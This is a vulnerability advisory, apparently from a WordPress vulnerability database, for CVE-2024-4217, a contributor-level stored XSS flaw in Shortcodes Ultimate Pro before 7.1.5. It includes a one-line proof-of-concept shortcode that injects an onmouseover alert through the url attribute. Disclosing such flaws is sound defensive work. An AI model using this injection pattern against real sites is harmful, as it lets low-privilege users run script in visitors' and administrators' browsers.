Shortcodes Ultimate Pro < 7.1.5 – Contributor+ Stored Cross-Site Scripting XSS | CVE 2024-4217 | Plugin Vulnerabilities

Description

The plugin does not properly escape some of its shortcodes' settings, making it possible for attackers with a Contributor account to conduct Stored XSS attacks.

Proof of Concept

[su_icon_panel background="1" color="1" border="1px double 1" shadow="1px 2px 0px 1" radius="18" text_align="left" icon_color="11" icon_size="69" url='123"onmouseover="alert(1)"' target="blank" class="123"]Panel content123[/su_icon_panel]

Similar issues affect these other shortcodes: content-slider, exit_popup, icon_panel, member, photo_panel, progress_bar, progress_pie, section, shadow, splash and testimonial;

Affects Plugins

shortcodes-ultimate-pro

Fixed in 7.1.5

References

CVE

URL

https://research.cleantalk.org/cve-2024-4217/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Dmitrii Ignatyev

Submitter

Dmitrii Ignatyev

Submitter website

https://www.linkedin.com/in/dmitriy-ignatyev-8a9189267/

Verified

Yes

WPVDB ID

55cb43bf-7c8f-4df7-b4de-bf2bb1c2766d

Timeline

Publicly Published

2024-06-22 (about 1 year ago)

Added

2024-06-22 (about 1 year ago)

Last Updated

2024-06-22 (about 1 year ago)

Other

Published

Title

Published

2024-06-14

Title

Stratum – Elementor Widgets < 1.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown Widget

Published

2015-11-26

Title

Auto ThickBox Plus <= 1.9 - Reflected Cross-Site Scripting (XSS)

Published

2023-11-28

Title

Aparat <= 1.7.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-02-02

Title

Like dislike plus counter | Like Dislike Buttons <= 1.0 - Authenticated (Admin+) Stored Cross-Site Scripting

Published

2025-11-26

Title

Donation Thermometer < 2.2.7 - Authenticated (Contributor+) Stored Cross-Site Scripting